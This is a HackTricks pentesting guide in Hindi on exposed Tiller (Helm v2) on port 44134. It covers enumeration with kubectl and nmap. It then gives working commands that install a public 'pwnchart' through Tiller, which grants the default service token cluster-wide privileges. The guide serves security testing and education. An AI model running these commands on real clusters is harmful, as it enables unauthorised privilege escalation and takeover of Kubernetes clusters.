hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

6.6 KiB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए:

मूल जानकारी

Helm Kubernetes के पैकेज प्रबंधक है। यह YAML फ़ाइलों को पैकेज करने और उन्हें सार्वजनिक और निजी रिपॉजिटरी में वितरित करने की अनुमति देता है। इन पैकेजों को Helm Charts कहा जाता है। Tiller डिफ़ॉल्ट रूप से पोर्ट 44134 पर चल रही सेवा है जो सेवा प्रदान करती है।

डिफ़ॉल्ट पोर्ट: 44134

PORT      STATE SERVICE VERSION
44134/tcp open  unknown

जाँच

यदि आप विभिन्न नेमस्पेस के पॉड और/या सेवाएं जाँच सकते हैं तो उन्हें जाँचें और उन्हें खोजें जिनमें उनके नाम में "tiller" है:

kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"

उदाहरण:

kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m

आप इस सेवा को चलते हुए ढूंढने के लिए पोर्ट 44134 की जांच कर सकते हैं:

sudo nmap -sS -p 44134 <IP>

एक बार जैसे ही आप इसे खोज लेते हैं, तो आप उसके साथ संवाद कर सकते हैं और क्लाइंट हेल्म एप्लिकेशन डाउनलोड कर सकते हैं। आप homebrew जैसे उपकरणों का उपयोग कर सकते हैं, या आधिकारिक रिलीज पेज** पर देख सकते हैं**। अधिक विवरण के लिए, या अन्य विकल्पों के लिए, स्थापना गाइड देखें।

फिर, आप सेवा की जांच कर सकते हैं:

helm --host tiller-deploy.kube-system:44134 version

विशेषाधिकार उन्नयन

डिफ़ॉल्ट रूप से Helm2 को नेमस्पेस kube-system में उच्च विशेषाधिकारों के साथ स्थापित किया गया था, इसलिए अगर आप सेवा को खोजते हैं और इसका उपयोग कर सकते हैं, तो यह आपको विशेषाधिकारों को उन्नत करने की अनुमति देगा।

आपको बस इस तरह के किसी पैकेज को स्थापित करना होगा: https://github.com/Ruil1n/helm-tiller-pwn जो डिफ़ॉल्ट सेवा टोकन को समूह के सम्पूर्ण क्षेत्र में पहुंच देगा।

git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart

http://rui0.cn/archives/1573 में आपको हमले की व्याख्या मिलेगी, लेकिन मूल रूप से, अगर आप helm-tiller-pwn/pwnchart/templates/ के भीतर clusterrole.yaml और clusterrolebinding.yaml फ़ाइलें पढ़ते हैं तो आप देख सकते हैं कि सभी विशेषाधिकार डिफ़ॉल्ट टोकन को दिए जा रहे हैं